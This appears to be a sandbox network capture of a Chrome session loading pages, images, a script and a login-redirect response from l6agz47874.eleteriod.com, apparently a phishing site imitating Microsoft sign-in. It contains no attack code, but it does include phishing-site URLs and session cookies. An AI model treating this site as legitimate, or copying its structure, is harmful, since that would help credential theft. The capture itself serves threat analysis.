2024-05-22 18:02:09 UTC	770	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:09 GMT Content-Type: application/javascript Content-Length: 1239 Connection: close Last-Modified: Mon, 20 May 2024 10:29:22 GMT ETag: "664b2602-4d7" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B0xDm5G2uc2%2BljZipc1KQ1nMT2f5XUqxjWbQntIKBlOxT%2BrndCAzZAv9z2jWuLlF1XxjKAjbjVQ1%2BnD446VX3oWYvLm2VD%2B673vaeGAFpCUPPxIrIm%2FWfUkhoTpnDk0GYJW%2B11BoLHiQYX0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 887eb731796d7cac-EWR X-Frame-Options: DENY X-Content-Type-Options: nosniff Expires: Fri, 24 May 2024 18:02:09 GMT Cache-Control: max-age=172800 Cache-Control: public Accept-Ranges: bytes
2024-05-22 18:02:09 UTC	599	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 74 72 79 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 63 6f 6e 73 6f 6c 65 29 72 65 74 75 72 6e 3b 22 65 72 72 6f 72 22 69 6e 20 63 6f 6e 73 6f 6c 65 3f 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 65 29 3a 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 72 65 74 75 72 6e 20 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 27 3c 61 20 68 72 65 66 3d 22 27 2b 65 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2b 27 22 3e 3c 2f 61 3e 27 2c 64 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 30 5d 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 68 72 65 66 Data Ascii: !function(){"use strict";function e(e){try{if("undefined"==typeof console)return;"error"in console?console.error(e):console.log(e)}catch(e){}}function t(e){return d.innerHTML='<a href="'+e.replace(/"/g,""")+'"></a>',d.childNodes[0].getAttribute("href
2024-05-22 18:02:09 UTC	640	IN	Data Raw: 3d 22 6d 61 69 6c 74 6f 3a 22 2b 6e 28 6f 2e 68 72 65 66 2c 61 2b 6c 2e 6c 65 6e 67 74 68 29 29 7d 63 61 74 63 68 28 69 29 7b 65 28 69 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 74 29 7b 66 6f 72 28 76 61 72 20 72 3d 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 75 29 2c 63 3d 30 3b 63 3c 72 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 74 72 79 7b 76 61 72 20 6f 3d 72 5b 63 5d 2c 61 3d 6f 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 69 3d 6f 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 66 29 3b 69 66 28 69 29 7b 76 61 72 20 6c 3d 6e 28 69 2c 30 29 2c 64 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 54 65 78 74 4e 6f 64 65 28 6c 29 3b 61 2e 72 65 70 6c 61 63 65 43 68 69 6c 64 28 64 2c 6f 29 7d 7d 63 61 74 63 68 28 68 29 7b 65 28 68 29 7d 7d 66 75 6e 63 74 69 6f 6e Data Ascii: ="mailto:"+n(o.href,a+l.length))}catch(i){e(i)}}function o(t){for(var r=t.querySelectorAll(u),c=0;c<r.length;c++)try{var o=r[c],a=o.parentNode,i=o.getAttribute(f);if(i){var l=n(i,0),d=document.createTextNode(l);a.replaceChild(d,o)}}catch(h){e(h)}}function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.17	59897	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:09 UTC	1471	OUT	GET /ijzMs0cz14Ykf4YeICAFuTHWbFbbJHCA5mZLgEiNPVxzipqrcsEibC8DNKk2zdEbovEab228 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
2024-05-22 18:02:11 UTC	667	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:11 GMT Content-Type: image/png Content-Length: 1400 Connection: close Content-Disposition: inline; filename="ijzMs0cz14Ykf4YeICAFuTHWbFbbJHCA5mZLgEiNPVxzipqrcsEibC8DNKk2zdEbovEab228" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=clyDAa3tzkjCSv1%2B0tdyiRuzAstwTFbHiFif4n%2FtH5n7SadfYS4DBMMwaBIdKIhKnS%2FnspE75zLFh4aWTCq5Uf1CI0SWf%2BBxHypSqJ6t130X09FccUVJtNAFG0i39Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb7317b4f4322-EWR
2024-05-22 18:02:11 UTC	702	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 6c 00 00 00 18 08 06 00 00 00 1f d5 18 1a 00 00 05 3f 49 44 41 54 68 43 ed 58 bd 6e 13 41 10 be 4b d2 d0 20 87 b4 48 38 bc 00 c9 13 10 37 50 c6 ee 91 70 9e 00 e7 af 26 ae f3 83 f3 04 18 89 3e 97 92 34 98 27 c0 79 81 60 24 5a c0 d0 d0 24 31 df b7 9a 39 8d 97 3b bc 91 0c 77 91 7c d2 c9 f6 7a 76 76 76 be f9 8f 7f d6 1f 8e a2 b0 e7 db dd e4 62 e9 e5 59 f4 15 e4 f7 42 b6 b4 9f 44 71 08 dd 8c 26 5c 03 f1 0c b0 70 65 95 81 72 06 58 19 50 b8 81 0c 33 c0 6e a0 ac 7f 4d da 6a b5 aa f3 f3 f3 2b a3 d1 a8 72 7d 7d 9d 74 3a 9d a1 7f 66 61 80 6d 6d 6d 35 55 18 08 d9 df df df ef e7 29 64 77 77 77 e5 ea ea 6a 85 ff c7 71 3c 3c 3c 3c 4c f8 7d 67 67 67 0d 1f eb 97 97 97 ed ac cb fd 6b 05 4f 93 3f f4 d1 c2 dd 5e 82 67 Data Ascii: PNGIHDRl?IDAThCXnAK H87Pp&>4'y`$Z$19;w\|zvvvbYBDq&\perXP3nMj+r}}t:fammm5U)dwwwjq<<<<L}gggkO?^g
2024-05-22 18:02:11 UTC	698	IN	Data Raw: 18 cc 0f 49 f4 b4 74 ca e1 ef 65 7e 71 8a 26 e8 36 af 32 42 e0 7d c3 2a 56 ce 70 f2 9b 42 c9 f2 22 0d ef ca 27 c1 9e 4d 18 01 73 f0 73 91 99 b2 fa 1e 56 25 2d d6 3f 38 79 43 14 3f 6d 1a 1f b0 85 85 05 7a 09 15 9d 26 5d 5c 98 56 4e eb 73 1e 85 d0 f2 6a 12 60 c6 ea 19 02 6b 59 ad 82 05 0c fc 36 34 d4 59 10 ec ba 28 5f 65 61 5b e1 72 8c c8 1b 31 42 f8 e7 18 d9 1d bd 17 35 18 02 e9 c5 69 a1 75 a3 1c 16 bd fd 1e e6 61 51 f4 2b 7a b6 78 7f f4 2e fa 82 b3 82 3c 2c 7e 1a e6 61 cc 1d 10 7a 2c bc 49 85 54 87 62 da 50 ea 5e 08 60 ba 07 f2 8d 79 aa 35 38 0b 18 2c 7c 51 fb b7 bc 75 dd ab 2d 84 86 5f 95 97 ff fb 6d 85 31 1c e7 91 f6 7c 6b ac 6a 18 37 05 2c 78 f8 0b c0 96 00 58 f0 f0 17 80 65 7a b0 ef 61 04 8c 8d b4 58 de 00 8a 5c 45 98 24 80 15 2d f7 03 01 73 a0 ff ad Data Ascii: Ite~q&62B}*VpB"'MssV%-?8yC?mz&]\VNsj`kY64Y(_ea[r1B5iuaQ+zx.<,~az,ITbP^`y58,\|Qu-_m1\|kj7,xXezaX\E$-s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.17	59899	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:09 UTC	1458	OUT	GET /mnE9XqQd7cwqeoHDOHNYdiJtyPkloVeKQZ2voYzCFSgjKIkn2oSmCsuv216 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
2024-05-22 18:02:11 UTC	666	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:11 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="mnE9XqQd7cwqeoHDOHNYdiJtyPkloVeKQZ2voYzCFSgjKIkn2oSmCsuv216" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e%2FEZTZWR2DQnV1pu3aIwnIfh3uSKxRQBGCGP781oHS8sF2ASczm4KkINIBPQi%2Bq1HdlwCtGXqjLkeHHac%2BSiPoMtRkZD5%2B0mxQ%2Bt83UD5oIF3XVPRKX4ZTOuR5FBIQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb733fd3942df-EWR
2024-05-22 18:02:11 UTC	703	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-05-22 18:02:11 UTC	1168	IN	Data Raw: 20 31 32 31 35 2e 36 20 32 36 35 2e 38 20 31 32 31 35 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 44 29 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 41 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 34 36 36 2e 34 20 33 39 33 2e 36 29 20 72 6f 74 61 74 65 28 39 30 29 20 73 63 61 6c 65 28 31 34 30 31 2e 36 20 31 37 32 30 2e 38 29 22 3e 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 31 30 37 63 31 30 22 2f 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d Data Ascii: 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color=
2024-05-22 18:02:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.17	59900	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:09 UTC	1551	OUT	POST /qx5mRFu84Dkooz0S7iCXX5u3ULbpS6gxNUAos30PWFpXi1HB7RPBsgb HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive Content-Length: 30 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://l6agz47874.eleteriod.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
2024-05-22 18:02:09 UTC	30	OUT	Data Raw: 70 61 67 65 6c 69 6e 6b 3d 74 64 78 32 72 26 74 79 70 65 3d 34 26 61 70 70 6e 75 6d 3d 31 Data Ascii: pagelink=tdx2r&type=4&appnum=1
2024-05-22 18:02:11 UTC	997	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:11 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2420PADVRWOKJ36qCQzNcngw1HZMegX%2F0YMOfwnVIQBZSTF5aMxdN4rW0JSU5otCr8%2FWQe6PBWcfsy5m8dY8oHpH7bc5JIHUA%2FJ6W8aJcDArPEnA7nhGHWrPSrr8Cg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; expires=Wed, 22-May-2024 20:02:11 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-05-22 18:02:11 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 67 77 61 7a 64 30 61 7a 56 70 5a 33 5a 57 4d 54 52 72 54 32 64 71 55 44 68 50 65 47 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 5a 32 6c 6d 56 57 70 5a 52 46 52 72 63 56 64 57 59 55 35 43 54 7a 5a 57 4e 57 52 57 55 47 68 4e 4e 6e 41 33 5a 6d 45 30 4e 47 4e 4e 62 55 68 6c 63 46 4a 45 4d 44 4e 46 61 45 31 42 62 33 5a 70 63 6e 5a 6f 62 58 59 32 4d 55 73 34 61 6e 6c 58 65 6b 4a 6c 51 58 51 34 55 45 74 6a 56 57 46 6d 63 30 35 71 55 54 4a 52 63 7a 63 31 4d 30 45 31 57 6b 70 35 4d 58 68 55 65 54 68 74 57 53 74 4c 64 44 56 43 4d 6b 6c 73 4c 33 49 78 53 43 39 36 54 54 4e 4e 5a 6c 6f 34 55 48 5a 68 53 47 49 76 59 56 46 48 56 45 39 78 64 58 41 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXA
2024-05-22 18:02:11 UTC	97	IN	Data Raw: 35 62 0d 0a 7b 22 65 78 70 69 72 65 64 22 3a 30 2c 22 72 65 64 69 72 65 63 74 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 5c 2f 63 6f 6d 6d 6f 6e 5c 2f 53 41 53 5c 2f 50 72 6f 63 65 73 73 41 75 74 68 22 7d 0d 0a Data Ascii: 5b{"expired":0,"redirecturl":"https:\/\/login.microsoftonline.com\/common\/SAS\/ProcessAuth"}
2024-05-22 18:02:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.17	59902	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:10 UTC	1301	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://l6agz47874.eleteriod.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D Sec-WebSocket-Key: fjPBPT6nCwolhRAu0sbhZw== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-05-22 18:02:11 UTC	589	IN	HTTP/1.1 400 Bad Request Date: Wed, 22 May 2024 18:02:11 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s8hwPTQsQ5SKELP51EDo%2BoETw4j52L9oBHonDx6Z%2BK%2Fhlx9Ai%2B18NyM0GTBvLkAevpIfODrTGRzCc89yHMoVapNq6ss2cNU9Lxx34jZbKY8WYloU8sE4hC73qswywGiSchzZkNkSpwex29o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 887eb73739ff7d16-EWR alt-svc: h3=":443"; ma=86400
2024-05-22 18:02:11 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-05-22 18:02:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.17	59901	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:10 UTC	1379	OUT	GET /56P6RmVW07q5q2IzmAMROCmNGghm8kh7E6A89106 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
